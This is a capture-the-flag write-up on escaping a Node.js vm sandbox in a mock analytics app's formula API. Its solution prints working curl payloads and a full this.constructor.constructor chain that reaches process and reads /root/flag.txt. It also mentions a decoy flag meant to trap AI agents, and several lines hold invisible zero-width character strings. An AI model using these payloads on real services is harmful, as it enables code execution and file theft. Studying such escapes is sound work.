← Back to Writeups
CUSTOMMediumWeb

MetricForge

XESXOR9/2/20263 min read
#web#custom#medium#arbitrary_file_read#constructor_chain_traversal#prototype_chain_traversal#vm_sandbox_escape

MetricForge

Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Medium | OS: N/A | **Author: XESXOR Techniques: arbitrary_file_read, constructor_chain_traversal, prototype_chain_traversal, vm_sandbox_escape

Summary

Walkthrough of the CUSTOM Web MetricForge. Task: Business analytics platform with custom formula evaluation using Node.js vm module sandbox. Solution: Escape the vm sandbox via prototype chain traversal (this.constructor.constructor) to access

Description

MetricForge is a business analytics platform built by Forgepoint Analytics that lets teams build custom dashboards and define computed metrics using formula expressions. The platform supports importing datasets, creating visualizations, and sharing reports. Users can write custom formulas using JavaScript-like expressions to derive new metrics from their raw data. The formula engine provides built-in aggregation functions like sum(), avg(), min(), max(), and count(), along with dataset column references. Goal: find and exploit a vulnerability in the formula evaluation system to retrieve the flag hidden on the server. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

MetricForge provides a dashboard for business analytics with dataset management, visualizations, and a custom formula engine. The critical feature is the "Custom Formulas" page (/formulas) which allows users to write and evaluate JavaScript-like expressions server-side. The formula engine runs in a Node.js vm module sandbox — which is not a security boundary.

Credentials: user@test.com / password123

Analysis

Application Features

FeatureEndpointPurpose
Dashboard/Overview of datasets, metrics, visualizations
Custom Formulas/formulasVulnerability — create and evaluate formula expressions server-side
Formula APIPOST /api/formulas/evaluateEvaluates expression with {"expression": "...", "dataset_id": N}
Datasets/datasetsImport and manage data sources
Visualizations/visualizationsCreate charts and dashboards
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Tech Stack

  • Node.js, Express.js (X-Powered-By: Express header)
  • Formula engine uses Node.js vm module for sandboxed evaluation

Available Formula Functions

sum(), avg(), min(), max(), count(), round(), abs(), ceil(), floor(), pow(), sqrt()

Reconnaissance Findings

Key observations:

  • The page states "Expressions are evaluated server-side in a secure sandbox" — this is a strong hint that the sandbox is breakable
  • Decoy flag FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts} embedded in HTML source to trap automated scanners and LLM agents
  • Testing this as an expression returned [object global] — this confirms the formula engine uses Node.js vm module, NOT a proper sandbox like vm2 or isolated-vm ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Vulnerability: Node.js vm Module Sandbox Escape

The Node.js vm module is explicitly documented as not a security mechanism. Objects created inside a vm context maintain their prototype chains back to the main V8 context. This means any object inside the sandbox can traverse up the prototype chain to reach the outer context's Function constructor, which executes code outside the sandbox.

The prototype chain traversal:

this                          → sandbox global object
  .constructor                → Object (constructor of the global object)
    .constructor              → Function (constructor of Object, since Object is a function)
      ("return this.process") → creates a new function in the MAIN context
        ()                    → executes it, returns the real process object
          .mainModule         → main module reference
            .require("fs")    → loads the filesystem module

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Once we have require(), we have full RCE — we can read files, spawn processes, or do anything Node.js can do.

Solution

Step 1: Confirm vm Sandbox

Test the expression this via the formula API:

bash
curl -sk -b "connect.sid=SESSION" \
  "https://TARGET/api/formulas/evaluate" \
  -X POST -H "Content-Type: application/json" \
  -d '{"expression":"this","dataset_id":1}'

Response: {"result":"[object global]"} — confirms vm module sandbox.

Step 2: Traverse Prototype Chain to Escape Sandbox

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Test this.constructor.constructor("return this.process")():

bash
curl -sk -b "connect.sid=SESSION" \
  "https://TARGET/api/formulas/evaluate" \
  -X POST -H "Content-Type: application/json" \
  -d '{"expression":"this.constructor.constructor(\"return this.process\")()","dataset_id":1}'

Returns the Node.js process object — sandbox escaped.

Step 3: Read the Flag

Full payload to read /root/flag.txt:

bash
curl -sk -b "connect.sid=SESSION" \
  "https://TARGET/api/formulas/evaluate" \
  -X POST -H "Content-Type: application/json" \
  -d '{"expression":"this.constructor.constructor(\"return this.process\")().mainModule.require(\"fs\").readFileSync(\"/root/flag.txt\",\"utf8\")","dataset_id":1}'

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Response:

json
{"result":"FLAG{REDACTED}\n"}

Complete Exploit Expression

javascript
this.constructor.constructor("return this.process")().mainModule.require("fs").readFileSync("/root/flag.txt","utf8")

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Key Takeaways / Lessons

  • Mastering arbitrary_file_read, constructor_chain_traversal, prototype_chain_traversal, vm_sandbox_escape was key to this challenge.
  • Always check for common misconfigurations and verify assumptions.

Crafted by XESXOR Research • 2026-05-05 • CUSTOM • MetricForge • Difficulty: Medium